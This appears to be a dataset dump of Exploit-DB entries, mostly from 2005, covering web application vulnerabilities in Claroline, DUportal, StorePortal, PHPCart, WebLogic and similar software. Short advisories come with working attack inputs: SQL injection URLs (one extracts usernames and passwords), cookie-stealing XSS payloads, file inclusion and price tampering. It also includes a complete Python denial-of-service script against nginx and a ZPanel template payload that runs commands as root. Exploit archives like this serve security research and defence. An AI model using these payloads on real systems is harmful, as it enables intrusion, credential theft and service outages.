QLWD/code_shield huggingface dataset:
标题: Dream4 Koobi CMS 4.2.3 - 'index.php?P' SQL Injection EDB-ID: 25555 CVE: 2005-0890 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/13412/info

Koobi CMS is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?p='[SQL code]
http://www.example.com/index.php?area=1&p='[SQL code] URL: https://www.exploit-db.com/exploits/25555
标题: Just William's Amazon Webstore - 'Closeup.php?Image' Cross-Site Scripting EDB-ID: 25560 CVE: 2005-1403 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/13419/info

Amazon Webstore is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects Amazon Webstore version 04050100; other versions may also be vulnerable. 

http://www.example.com/closeup.php?image=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25560
标题: Claroline 1.5/1.6 - 'user_access_details.php?data' Cross-Site Scripting EDB-ID: 25550 CVE: 2005-1374 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/13407/info
 
Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.
 
Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.
 
An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.
 
**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues. 

http:///www.example.com/claroline/tracking/user_access_details.php?cmd=doc&data=%3Cscript%3Ealert('xss');%3C/script%3E URL: https://www.exploit-db.com/exploits/25550
标题: Claroline 1.5/1.6 - 'myagenda.php?coursePath' Cross-Site Scripting EDB-ID: 25551 CVE: 2005-1374 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/13407/info
  
Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.
  
Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.
  
An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.
  
**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues. 

http:///www.example.com/claroline/calendar/myagenda.php?coursePath=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/25551
标题: Claroline E-Learning 1.5/1.6 - 'userInfo.php' Multiple SQL Injections EDB-ID: 25552 CVE: 2005-1375 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/13407/info
   
Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.
   
Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.
   
An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.
   
**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues.

http:///www.example.com/claroline/user/userInfo.php?uInfo=-1%20UNION%20SELECT%20username,password,0,0,0,0,0%20from%20user%20where%20user_id=1/* URL: https://www.exploit-db.com/exploits/25552
标题: PHPCart - Input Validation EDB-ID: 25548 CVE: 2005-1398 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/13406/info

PHPCart is prone to a remote input validation vulnerability. The issue exists because the software fails to sufficiently sanitize URI parameter data that is employed when computing product charges.

A remote attacker may exploit this issue to manipulate invoice and payment charges for a specific PHPCart order. 

http://www.example.com/phpcart.php?action=add&id=1002&descr=Mobile%20Phone&price=0&postage=&quantity=100 URL: https://www.exploit-db.com/exploits/25548
标题: BEA WebLogic Server 8.1 / WebLogic Express Administration Console - Cross-Site Scripting EDB-ID: 25546 CVE: 2005-1380 类型: REMOTE 平台: WINDOWS 发布日期: 2005-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13400/info

A remote cross-site scripting vulnerability affects BEA WebLogic Server and WebLogic Express administration console. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://example.com:8001/console/actions/jndi/JndiFramesetAction?server='<script>alert(document.cookie);</script>mydomain%3AName%3Dmyserver%2CType%3DS URL: https://www.exploit-db.com/exploits/25546
标题: GrayCMS 1.1 - 'error.php' Remote File Inclusion EDB-ID: 25538 CVE: 2005-1360 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13381/info

GrayCMS is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/CMS/gcms/code/error.php?path_prefix=http://www.example.com/ URL: https://www.exploit-db.com/exploits/25538
标题: Claroline 1.5/1.6 - 'toolaccess_details.php?tool' Cross-Site Scripting EDB-ID: 25549 CVE: 2005-1374 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/13407/info

Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.

Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.

An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.

**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues. 

http:///www.example.com/claroline/tracking/toolaccess_details.php?tool=%3Cscript%3Ealert('xss');%3C/script%3E URL: https://www.exploit-db.com/exploits/25549
标题: SqWebMail 3.x/4.0 - HTTP Response Splitting EDB-ID: 25534 CVE: 2005-1308 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/13374/info

SQWebmail is prone to a HTTP response splitting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. 

sqwebmail?redirect=%0d%0a%0d%0a[INJECT SCRIPT] URL: https://www.exploit-db.com/exploits/25534
标题: StorePortal 2.63 - 'default.asp' Multiple SQL Injections EDB-ID: 25529 CVE: 2005-1293 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/13358/info

StorePortal is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/default.asp?language='[SQL injection]
http://www.example.com/default.asp?id=1&opr=2&amp%3bpic='[SQL injection]
http://www.example.com/default.asp?opr=35&id=1&idcategory='[SQL injection]&idcategoryp=1
http://www.example.com/default.asp?opr=35&id=1&idcategory=1&idcategoryp='[SQL injection]
http://www.example.com/default.asp?mnu=&id=1&opr=5&content='[SQL injection]
http://www.example.com/default.asp?id=1&opr=4&keyword='[SQL injection]
http://www.example.com/default.asp?opr=41&idcategory=11&idcategoryp=11&id=1&idproduct='[SQL injection] URL: https://www.exploit-db.com/exploits/25529
标题: PHPMyVisites 1.3 - 'Set_Lang' File Inclusion EDB-ID: 25531 CVE: 2005-1325 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/13370/info

phpMyVisites allows attackers to include arbitrary files. While it has been demonstrated that local files may be included through this vulnerability, there is an unconfirmed possibility of remote file inclusion.

Exploitation could disclose local files, or in the case of remote file inclusion, let the attacker execute malicious PHP code.

The issue is known to affect phpMyVisites 1.3. Other versions may also be affected. 

<form action="http://[pathtoyourphpMyVisites]/login.php" method="POST">
Local file: <input type="text" name="mylang" value="" />
<input type="submit" value="Alexx says RELAX!">
</form> URL: https://www.exploit-db.com/exploits/25531
标题: ImageMagick 6.x - '.PNM' Image Decoding Remote Buffer Overflow EDB-ID: 25527 CVE: 2005-1275 类型: DOS 平台: LINUX 发布日期: 2005-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/13351/info

A remotely exploitable client-side buffer-overflow vulnerability affects ImageMagick. This issue occurs because the application fails to properly validate the length of user-supplied strings before copying them into static process buffers.

An attacker may exploit this issue to cause the affected application to crash, potentially destroying unsaved data, ultimately denying service to legitimate users. 

perl -e 'print "P7\n1\n1 1\n1"' > vuln.pnm URL: https://www.exploit-db.com/exploits/25527
标题: OneWorldStore - IDOrder Information Disclosure EDB-ID: 25530 CVE: 2005-1329 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/13361/info

OneWorldStore is prone to an information disclosure vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Exploitation of this vulnerability would expose the customer names, as they appear on credit cards, and their addresses to the attacker. 

http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=1
http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=2
http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder=3
http://www.example.com/owBasket/PaymentMethods/owOfflineCC.asp?idOrder= URL: https://www.exploit-db.com/exploits/25530
标题: ZPanel - 'templateparser.class.php' Crafted Template Remote Command Execution EDB-ID: 25519 CVE: 2013-2097 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-16 漏洞利用脚本: Hi all,

There's an arbitrary (PHP) code execution in ZPanel, a free and
open-source shared hosting control panel. Using the included zsudo
binary, access can be escalated and commands can be run as root.

The vulnerability: ZPanel uses a poor "templater" system that
basically consists of a few str_replace calls and an eval... and as
could be expected from something like this, it does a very poor job at
preventing malicious code. The relevant code can be seen here:
https://github.com/bobsta63/zpanelx/blob/master/dryden/ui/templateparser.class.php
(note the poor attempt at stripping out <?php and ?> tags).

By effectively injecting the replacement that occurs in line 71, one
can run arbitrary PHP code. When combined with ZPanels `zsudo` binary,
one can execute arbitrary commands as root, with a maximum of 5
additional arguments (aside from the path to the
to-be-executed-command).

The scope: Custom templates/themes can be uploaded by resellers and
administrators. This effectively means that anyone that can get access
to a reseller account through any means, including by purchasing a
reseller service from a ZPanel-using host, can gain root access,
without detection.

PoC: Insert the following code anywhere in master.ztml or any other
template that is parsed by the template parser, replacing `touch derp`
with any command of choice:

<& bogus']; exec("/etc/zpanel/panel/bin/zsudo touch /root/derp"); echo
$value['bogus &>

Strangely, login.ztml does not appear to use the templater, and seems
to allow PHP execution by simply using <?php and ?> tags (which I
would consider a vulnerability in itself, but that aside).

Vendor notification: I have warned the ZPanel development team about
their insecure templater *months* ago, and explicitly pointed out that
their "PHP code filtering" was not going to work well. I have
submitted a patch for some other fixable aspects of the templater
(which was merged into the main repository), but the development team
insisted that the security in the templater was fine, and that it
wasn't a problem, basically telling me that they were not going to
change it. They have not fixed this vulnerability, nor do they appear
to have any interest in doing so in the near future.

How to solve it: Either remove the reseller template uploading
functionality (this would impair core functionality), or use a real
templating engine that does not use a few str_replace() calls strung
together in front of an eval().

I'm quite new to this list, and not exactly a pentesting expert, so if
I left out some important information in the above message, please do
let me know.

- Sven Slootweg URL: https://www.exploit-db.com/exploits/25519
标题: WoltLab Burning Board 2.3.1 - 'thread.php' Cross-Site Scripting EDB-ID: 25503 CVE: 2005-1285 类型: WEBAPPS 平台: PHP 发布日期: 2005-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/13325/info

WoltLab Burning Board is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/thread.php?threadid=[Topic_ID]&hilight=[XSS] URL: https://www.exploit-db.com/exploits/25503
标题: Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC) EDB-ID: 25499 CVE: 2013-2028 类型: DOS 平台: LINUX 发布日期: 2013-05-17 漏洞利用脚本: # Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)
# Google Dork: CVE-2013-2028
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & nginx v1.4.0
# CVE : CVE-2013-2028

import httplib
import time
import socket
import sys
import os

# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)

packet = 0

def chunk(data, chunk_size):
    chunked = ""
    chunked += "%s\r\n" % (chunk_size)
    chunked += "%s\r\n" % (data)
    chunked += "0\r\n\r\n"
    return chunked

if sys.platform == 'linux-i386' or sys.platform == 'linux2':
        os.system("clear")
elif sys.platform == 'win32':
        os.system("cls")
else:
        os.system("cls")
                
print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]"
print "======================================================================"

if len(sys.argv) < 2:
        print "Usage: python nginx_dos.py [target ip]\n"
        print "Example: python nginx_dos.py 127.0.0.1\n"
        sys.exit(1)
else:
    host = sys.argv[1].lower()
        
while packet <= 5:

    body = "Mert SARICA"
    chunk_size = hex(dos_packet + 1)[3:]
    chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()

    if debug:
        print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]

    try:
        con = httplib.HTTPConnection(host)
        url = "/mertsarica.php"
        con.putrequest('POST', url)
        con.putheader('User-Agent', "curl/7.30.0")
        con.putheader('Accept', "*/*")
        con.putheader('Transfer-Encoding', 'chunked')
        con.putheader('Content-Type', "application/x-www-form-urlencoded")
        con.endheaders()
        con.send(chunk(body, chunk_size[:len(chunk_size)]))
    except:
        print "Connection error!"
        sys.exit(1)
        
    try:
        resp = con.getresponse()
        print(resp.status, resp.reason)
    except:
        print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)"

    packet = packet + 1
    
    con.close()

print "[+] Done!" URL: https://www.exploit-db.com/exploits/25499
标题: DUportal 3.1.2 - 'type.asp?iCat' SQL Injection EDB-ID: 25485 CVE: 2005-1236 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13288/info
  
DUportal/DUportal SQL are prone to multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
These vulnerabilities are reported to affect DUportal/DUportal SQL 3.1.2; earlier versions may also be affected. 

http://www.example.com/test_DUportal/home/type.asp?iCat='SQL_INJECTION&iChannel=8&nChannel=Products URL: https://www.exploit-db.com/exploits/25485
标题: DUportal Pro 3.4 - 'search.asp?iChannel' SQL Injection EDB-ID: 25477 CVE: 2005-1224 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13285/info
 
DUportal Pro is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
These vulnerabilities are reported to affect DUportal Pro 3.4; earlier versions may also be affected. 

http://www.example.com/dUpro/Businesses/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/Classifieds/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/Events/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/events/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/Files/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/home/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/Pictures/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/polls/../polls/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/Topics/../home/search.asp?keyword=dcrab&iChannel=&#039;SQL_INJECTION
http://www.example.com/dUpro/home/../home/search.asp?keyword=&#039;SQL_ERRORS&iChannel=
http://www.example.com/dUpro/Topics/../home/search.asp?keyword=&#039;SQL_ERRORS&iChannel= URL: https://www.exploit-db.com/exploits/25477
标题: DUportal 3.1.2 - 'channel.asp?iChannel' SQL Injection EDB-ID: 25482 CVE: 2005-1236 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13288/info

DUportal/DUportal SQL are prone to multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

These vulnerabilities are reported to affect DUportal/DUportal SQL 3.1.2; earlier versions may also be affected. 

http://www.example.com/test_DUportal/home/../home/channel.asp?iChannel='SQL_INJECTION&nChannel=Articles URL: https://www.exploit-db.com/exploits/25482
标题: DUportal 3.1.2 - 'inc_poll_voting.asp?DAT_PARENT' SQL Injection EDB-ID: 25483 CVE: 2005-1236 类型: WEBAPPS 平台: ASP 发布日期: 2005-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/13288/info
 
DUportal/DUportal SQL are prone to multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
These vulnerabilities are reported to affect DUportal/DUportal SQL 3.1.2; earlier versions may also be affected. 

http://www.example.com/test_DUportal/includes/inc_poll_voting.asp?DAT_PARENT='SQL_INJECTION&DAT_CATEGORY=254&CHA_ID=15&CHA_NAME=Polls&DAT_ID=112 URL: https://www.exploit-db.com/exploits/25483